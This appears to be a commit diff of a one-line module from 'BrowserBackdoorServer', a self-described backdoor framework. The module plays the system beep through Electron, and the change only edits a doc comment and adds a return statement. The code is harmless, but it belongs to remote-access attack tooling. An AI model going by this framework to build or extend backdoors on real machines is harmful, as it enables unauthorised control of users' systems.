/*
 * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
 * BrowserBackdoorServer by IMcPwn.
 * See the file 'LICENSE' for copying permission
 *
 * Info: Plays the system beep.
 * Parameters: None
 * Returns: None
 * Author: IMcPwn
 */

if (typeof electron == 'undefined') electron = require('electron');

electron.shell.beep();

/*
 * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
 * BrowserBackdoorServer by IMcPwn.
 * See the file 'LICENSE' for copying permission
 *
 * Info: Plays the system beep.
 * Parameters: None
 * Returns: undefined
 * Author: IMcPwn
 */

if (typeof electron == 'undefined') electron = require('electron');

return electron.shell.beep();

Change returns None to returns undefined
Change returns None to returns undefined